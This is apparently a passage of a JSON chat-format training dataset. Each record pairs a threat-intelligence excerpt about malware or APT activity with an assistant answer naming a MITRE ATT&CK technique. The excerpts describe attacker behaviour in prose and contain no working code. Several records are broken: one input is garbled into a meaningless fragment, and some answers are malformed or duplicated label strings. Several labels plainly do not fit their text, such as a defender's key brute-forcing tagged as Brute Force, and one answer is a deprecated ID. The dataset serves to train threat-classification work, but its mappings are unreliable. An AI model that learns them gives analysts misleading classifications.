                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. Afterward, the module will delete old \"sft\" files assuming they were already exfiltrated. After a pause of 6,500 milliseconds, it will start its search for the targeted files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\\DOCUME~1\\&lt;USER&gt;~1\\LOCALS~1\\Temp\\4CA-B25C11-A27BC\\, each selected file will be compressed into the file kr.zp"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull can retrieve the IP address of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A total of 64MB of garbage data is appended to this copied file, likely as a way to deter any security products in place that may be scanning files on disk"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execute Pluginhost.exe, the plugin management component. Save the payloads as Alternate Data Streams and set scheduled tasks to run them"
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by APT1 as a name for malware."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cisco Talos' previous research has mainly linked this group to CrimsonRAT, but new campaigns show they are expanding their Windows malware arsenal with ObliqueRAT. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. We cannot confirm how the maldocs were delivered to victims, but we suspect they were probably sent as attachments to phishing emails based on previous threat actor behavior and the targeted nature of this particular lure. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. After enabling macros, the file executes CrimsonRAT on the endpoint.Figure 4: The \"Download Now\" button contains a link to a malicious XLS with CrimsonRAT embedded in it. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. In a few of these instances, the malicious executables in the archives contained honeytrap-themed icons to entice the victims into executing them"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete searches the File system for files of interest."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "achieves persistence by making an entry in the Registry's Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Replying to @ESETresearchAttackers replaced win_fw.dll, an internal component that is executed during IDA Pro installation, with a malicious DLL. The malicious win_fw.dll creates a Windows scheduled task that starts a second malicious component, idahelper.dll, from the IDA plugins folder"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has beaconed to its C2 over port 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In early February 2018, FireEye iSIGHT Intelligence observed Dridex botnet ID 2040 download a Monero cryptocurrency miner based on the open-source XMRig miner.. On Feb. 12, 2018, FireEye iSIGHT Intelligence observed the banking malware IcedID injecting Monero-mining JavaScript into webpages for specific, targeted URLs. The IcedID injects launched an anonymous miner using the mining code from Coinhive's AuthedMine.. In late 2017, Bleeping Computer reported that security researchers with Radware observed the hacking group CodeFork leveraging the popular downloader Andromeda (aka Gamarue) to distribute a miner module to their existing botnets.. In late 2017, FireEye researchers observed Trickbot operators deploy a new module named \"testWormDLL\" that is a statically compiled copy of the popular XMRig Monero miner.. On Aug. 29, 2017, Security Week reported on a variant of the popular Neutrino banking Trojan, including a Monero miner module. According to their reporting, the new variant no longer aims at stealing bank card data, but instead is limited to downloading and executing modules from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They use At.exe to schedule tasks to run self-extracting RAR archives, which install either HttpBrowser or PlugX"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zlh.exe is a legitimate, signed Norman Safeground AS application, which is used to sideload a malicious nflogger.dll DLL.The encrypted ZeroT payload is usually named NO.2.mui. The sideloaded DLL does not always use the same vulnerable executable, but it is always similar in functionality. Usually the DLL is not packed, but we have observed instances compressed by UPX. This malicious DLL is usually obfuscated with the same junk code: dummy API calls inserted in between real instructions (Fig. 7). The same obfuscation can be found in multiple functions in ZeroT itself"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke uses HTTP and HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITSAdmin can be used to create BITS Jobs to upload and/or download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan has used an executable named `companycatalogue` to appear benign."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LaZagne (SecurityRisk.LaZagne): A login/password retrieval tool - Mimikatz (Hacktool.Mimikatz): Tool designed to steal credentials - Gpppassword: Tool used to obtain and decrypt Group Policy Preferences (GPP) passwords - SniffPass (SniffPass): Tool designed to steal passwords by sniffing network traffic"
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP for communication with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GRIFFON has used \"sctasks\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure', 'T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This document was also the first of the mid-November cluster which used the user/USER author name instead of Joohn, further supporting the scenario of the document being copied between systems"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has encrypted data and files prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has the ability to use TCP sockets to send data and ICMP to ping the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has been distributed via spearphishing link."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Overview of discovered Ramsay versions . Malicious documents dropping Ramsay version 1 . This attack vector consists of malicious documents exploiting CVE-2017-0199 intended to drop an older version of Ramsay. Based on the low complexity of the Ramsay agent delivered, the threat actors may be embedding this specific instance within these malicious documents for evaluation purposes. Even though affected documents will be modified, it won’t impact their integrity; each affected Word document remains fully operational after artifact appending has taken place. First, Ramsay looks for Word documents and also, in more recent versions, for PDFs and ZIP archives: Figure 13. Hex-Rays output of spreader scanning routines . It is important to notice that there is a correlation between the target drives Ramsay scans for propagation and control document retrieval. File structure changes during an infection and execution . All of the different artifacts involved in the infection stage are either within the context of the spreader or dropped previously by another Ramsay component. This information will be contained within all logged information Ramsay collects and may be leveraged by operators in order to do further lateral movement over the network in a later stage via a different channel. Some of Ramsay and Retro filename convention . Is important to highlight that among Retro’s documented techniques, it leverages malicious instances of msfte.dll, oci.dll and lame_enc.dll, and via Phantom DLL Hijacking. As previously documented, Ramsay also uses this technique in some of its versions also using msfte.dll and oci.dll. Finally, we noticed Korean language metadata within the malicious documents leveraged by Ramsay, denoting the use of Korean-based templates"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We were able to brute force the actor-provided key using the inverse arithmetic operations using the embedded salt and embedded ciphertext, so we were able to extract the embedded webshells with ease"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Regin contains a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  VBScript receives a batch script to execute a set of commands in a command prompt."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TURNEDUP is capable of injecting code into the APC queue of a created Rundll32 process as part of an \"Early Bird injection.\""
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's dispatcher can inject itself into running processes to gain higher privileges and to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BOOM.exe, tracked by Microsoft as “BoomBox”, can be best described as a malicious downloader. The downloader is responsible for downloading and executing the next-stage components of the infection. These components are downloaded from Dropbox (using a hardcoded Dropbox Bearer/Access token"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used  to download payloads, run a reverse shell, and execute malware on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unknown Logger is capable of downloading remote files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The author of GravityRAT submitted samples to VirusTotal for testing, showing that the author modified the code to try to hide the DDE object in a different part of the document."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has utilized various scans and queries to find domain controllers and remote services in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLACKCOFFEE has the capability to discover processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla can query the Registry for its configuration information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has used DLL side-loading to drop and execute malicious payloads including the hijacking of the legitimate Windows application file rekeywiz.exe."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The bot attempts to create a MUTEX using the value of variable “VL” to ensure that only one instance of the bot is running. The bot will proceed to create a copy of itself as %TEMP%/svchost.exe, execute that file, and terminate itself. The newly executed copy will create an autostart registry key to ensure persistence upon system reboot"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In December 2018, a thread on HackForums described a change in the ownership and ongoing development of the HawkEye keylogger.Shortly following this exchange, new posts began to appear that were attempting to market and sell new versions of HawkEye (HawkEye Reborn v9), with these new posts also referencing the change in ownership of the project moving forward.HawkEye Reborn v9 is currently marketed as an \"Advance Monitoring Solution.\" It is currently being sold using a licensing model, with purchasers gaining access to the software and updates for different periods based on a tiered pricing model.HawkEye Reborn v9 also features a Terms of Service agreement that provides some additional insight"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "4H RAT sends an OS version identifier in its beacons."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used PowerShell-based tools and shellcode loaders for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then, the malware loads an executable file from WM_DSP resource and runs a shellcode that contains approximately1500 bytes (after decrypting it with XOR 0x45"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes a batch script to store discovery information in %TEMP%\\info.dat and then uploads the temporarily file to the remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is the final payload that has been deployed as a service using svchost.exe. This Rat is heavily obfuscated and is using multiple anti-analysis techniques. It has a custom section named “qwdfr0” which performs all the de-obfuscation process. This payload register itself as a service using its export function ServiceMain"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TG-3390 actors frequently change the C2 domain's A record to point to the loopback IP address 127.0.0.1, which is a variation of a technique known as \"parking.\" Other variations of parking point the IP address to Google's recursive name server 8.8.8.8, an address belonging to Confluence, or to other non-routable addresses"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE)."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has downloaded additional files and tools onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon has used the RoyalRoad exploit builder to drop a second stage loader, intel.wll, into the Word Startup folder on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT uses VBScripts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can change its C2 channel once every 360 loops by retrieving a new domain from the actors’ S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has compromised targets via strategic web compromise (SWC) utilizing a custom exploit kit."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes net user after initial communication is made to the remote server."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe the malware authors chose to send packets that look like legitimate DNS requests over UDP port 53 to avoid being blocked by firewalls. It is very common to whitelist DNS requests in firewall configurations because blocking them could disrupt name resolution"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Victim system reconnaissance The code then tries to obtain the victim’s public IP via “https://api.ipify.org/”"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Expand can be used to download or copy a file into an alternate data stream."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has collected the host's OS, CPU, and memory information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has utilized  during and."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has created email accounts for phishing operations."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
